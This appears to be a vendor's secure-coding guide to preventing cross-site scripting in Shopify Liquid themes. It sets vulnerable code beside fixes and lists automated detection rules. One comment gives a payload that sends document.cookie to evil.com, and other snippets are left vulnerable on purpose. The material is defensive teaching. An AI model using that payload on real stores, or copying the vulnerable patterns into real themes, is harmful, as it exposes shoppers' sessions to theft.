// SECURITY / XSS_PREVENTION

XSS Prevention in Shopify Themes — Complete Developer Guide

Cross-Site Scripting (XSS) is the #1 vulnerability found in Shopify themes. This guide shows every attack pattern and its exact fix.

[ 01 ] WHAT IS XSS IN SHOPIFY

Cross-Site Scripting in Shopify themes occurs when attacker-controlled data (product titles, metafields, URL parameters, customer names) is inserted into the HTML or JavaScript output without proper encoding.

Unlike backend XSS, Liquid template injection is particularly dangerous because the attack surface is large — every product, collection, blog post, and customer field is a potential injection point.

Reflected XSS

HIGH

URL parameters injected directly into page output. Immediate execution.

Stored XSS

CRITICAL

Malicious data stored in metafields or product descriptions. Persists across requests.

DOM-based XSS

HIGH

JavaScript reads from location.hash or URL params and writes to DOM.

[ 02 ] COMMON XSS PATTERNS IN LIQUID

Pattern A — innerHTML with user data

VULNERABLE
// Attacker sets product.title to: <script>fetch('https://evil.com?c='+document.cookie)</script>
document.querySelector('.product-name').innerHTML = "{{ product.title }}";
// Result: script executes, cookies stolen
SECURE
// Option 1: Use textContent
document.querySelector('.product-name').textContent = {{ product.title | json }};

// Option 2: Create text node
const node = document.createTextNode({{ product.title | json }});
document.querySelector('.product-name').appendChild(node);

Pattern B — Unescaped Liquid in JS strings

VULNERABLE
<script>
  const settings = {
    title: "{{ product.title }}",
    vendor: "{{ product.vendor }}"
  };
</script>
SECURE — Always use | json filter
<script>
  const settings = {
    title: {{ product.title | json }},
    vendor: {{ product.vendor | json }}
  };
  // | json properly encodes quotes, slashes, and newlines
</script>

Pattern C — document.write()

VULNERABLE — document.write with external data
// NEVER use document.write() — it rewrites the entire document
// and bypasses any security measures
document.write('<div>' + request.param + '</div>');

Pattern D — URL parameter reflection

VULNERABLE — URL params in DOM
// Attacker URL: /search?q=<script>alert(1)</script>
const query = new URLSearchParams(location.search).get('q');
document.getElementById('search-query').innerHTML = 'Results for: ' + query;
SECURE — Encode URL params
const query = new URLSearchParams(location.search).get('q') || '';
document.getElementById('search-query').textContent = 'Results for: ' + query;

[ 03 ] PREVENTION TECHNIQUES

Output Encoding

{{ value | escape }} or {{ value | json }}

Always — in HTML context use escape, in JS context use json

Content Security Policy

X-Content-Type-Options, Content-Security-Policy headers

Add via Shopify theme response headers or CDN

DOM Sanitization

DOMPurify.sanitize(html) before innerHTML

When HTML rendering is required (e.g., metafield rich text)

Avoid dangerous APIs

No innerHTML, no eval(), no document.write()

Enforce in code review + Syphio automated scanning

[ 04 ] AUTOMATED DETECTION WITH SYPHIO

Syphio's XSS detection rules cover all of the patterns above — plus 80+ additional edge cases specific to Shopify's Liquid templating system.

// XSS RULES IN SYPHIO (SUBSET)

  • XSS-001: innerHTML with unescaped Liquid variable
  • XSS-002: document.write() usage detected
  • XSS-003: eval() with dynamic string argument
  • XSS-004: Liquid variable in script tag without | json
  • XSS-005: URL parameter reflected into DOM
  • XSS-006: outerHTML assignment with external data
  • XSS-007: setTimeout/setInterval with string argument

// SEE ALSO

// DETECT XSS IN YOUR CODE

Scan your Shopify theme for XSS vulnerabilities.

SCAN_YOUR_CODE